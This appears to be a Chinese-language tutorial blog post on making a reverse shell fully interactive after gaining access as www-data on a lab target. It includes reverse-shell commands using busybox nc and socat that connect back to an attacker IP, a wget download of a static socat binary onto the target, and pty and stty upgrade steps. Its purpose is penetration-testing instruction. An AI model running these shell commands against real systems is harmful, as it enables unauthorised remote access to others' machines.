目录

反弹shell优化

# 反弹shell的常见痛点

  • 缺少终端功能
  • 窗口大小错误
  • 无法使用交互式命令(如vim、top等)
  • 无法使用tab补全
  • 快捷键失效(如Ctrl+C、Ctrl+Z等)

# 反弹 shell 演示

攻击机正常监听反弹shell:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
1
2
3

靶机执行反弹shell:

busybox nc 192.168.x.x 4444 -e bash
1

此时,攻击机收到反弹shell:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 44418
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
3
4
5
6

在此环境下,无法正常使用 tab 补全命令、上下键切换历史命令、Ctrl+C 终止命令等。

例如此处:

  • 上键被识别为 ^[[A,而不是切换历史命令
  • Ctrl+C 被识别为 ^C 且直接结束了反弹shell
  • clear 命令无法正常清屏
  • sudo -l 交互式命令无法正常使用
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 43692
uid=33(www-data) gid=33(www-data) groups=33(www-data)
clear
sudo -l
^[[A^[[A^[[A^C
1
2
3
4
5
6
7
8
9

# 分配一个交互式伪终端(pty)

使用 script 命令创建一个伪终端(pty)来运行反弹shell:

/usr/bin/script -qc /bin/bash /dev/null
1
  • script命令会创建一个新的 pty,使得 shell 获得完整的终端环境。
  • -q:安静模式,不输出 Script started...等信息。
  • -c /bin/bash:执行 bash。
  • /dev/null:输出重定向到空设备,避免生成日志文件。

这可以解决无法交互的痛点:

┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 45414
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
www-data@Disk:/var/www/wordpress$ ^[[A^[[C^[[A^[[A

www-data@Disk:/var/www/wordpress$ which python3
which python3
/usr/bin/python3
www-data@Disk:/var/www/wordpress$ python3
python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ^C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

现在,可以运行交互式命令,但是仍然不能正常使用上下键切换历史命令,以及 Ctrl+C 终止命令。

# 输入处理

stty raw -echo; fg
1
  • stty raw -echo:将终端设置为原始模式,并关闭回显。这允许正确处理输入字符,包括特殊键。
  • fg:将当前作业放到前台,使得输入能够正确传递给反弹shell。

在反弹shell里按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行上述命令:

┌──(demo㉿kali)-[~]
└─$ stty raw -echo; fg
nc -lvnp 4444

www-data@Disk:/var/www/wordpress$ id
www-data@Disk:/var/www/wordpress$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Disk:/var/www/wordpress$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
sudo: a password is required
www-data@Disk:/var/www/wordpress$ sudo -l^C
www-data@Disk:/var/www/wordpress$ ^C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

现在,反弹shell已经获得了完整的终端功能,可以正常使用上下键切换历史命令、Ctrl+C 终止命令等。

# 优化体验

上面这些操作让终端可以正常使用,但体验仍然不够好。可以进一步优化,如终端大小调整、环境变量设置等让vim等交互式命令能够正常使用。

reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  
stty rows 42 cols 189
1
2
3
4
5
  • reset xterm:重置终端类型为 xterm,确保兼容性。
  • export TERM=xterm:设置 TERM 环境变量为 xterm,确保终端功能正常。
  • export SHELL=/bin/bash:设置 SHELL 环境变量为 bash,确保使用正确的 shell。
  • stty rows 42 cols 189:调整终端窗口大小,使得交互式命令(如 vim)能够正确显示。

最重要的是,终端大小使用你的真实大小,不要盲目使用其他人的终端大小。

# 最终解决方案

我选择把上面的优化命令写入到PATH下的两个可执行文件里,确保我可以在任意目录拿到我所需要的payload:

警告

注意检查你的PATH环境变量,确保~/.local/bin在PATH中。

xxx:拿到分配交互式伪终端payload:

cat << 'EOF' > ~/.local/bin/xxx
#!/bin/bash
echo '

/usr/bin/script  -qc /bin/bash /dev/null

'
EOF
chmod +x ~/.local/bin/xxx
1
2
3
4
5
6
7
8
9

yyy:拿到输入处理payload,以及后续优化payload:

cat << 'EOF' > ~/.local/bin/yyy
#!/bin/bash
echo '


stty raw -echo; fg  


reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  

'
rows=$(stty size | awk '{print $1}')
cols=$(stty size | awk '{print $2}')

echo "stty rows $rows cols $cols"
EOF
chmod +x ~/.local/bin/yyy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

yyy 里的payload会自动获取当前终端的行数和列数,确保终端大小适配你的真实终端。

使用yyy前,先在nc的反弹shell里分配一个交互式伪终端,再按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行yyy 的第一句进行输入处理,再执行剩余优化部分

# 其他

使用 socat 反弹shell

推荐的一个静态二进制项目,

https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64

如果靶机没有,可以下载静态编译的socat

wget "https://hk.gh-proxy.org/https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat"
chmod +x socat
1
2

socat 反弹shell也比较优雅,不过靶机不一定有,有的话很舒服了

攻击机:

socat file:`tty`,raw,echo=0 tcp-listen:4444
1

这台靶机自带socat

靶机:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.10:4444
1

socat 反弹shell 优势:自动分配伪终端,获得完整的终端功能

最后一次更新于: 2026/03/05, 15:48:29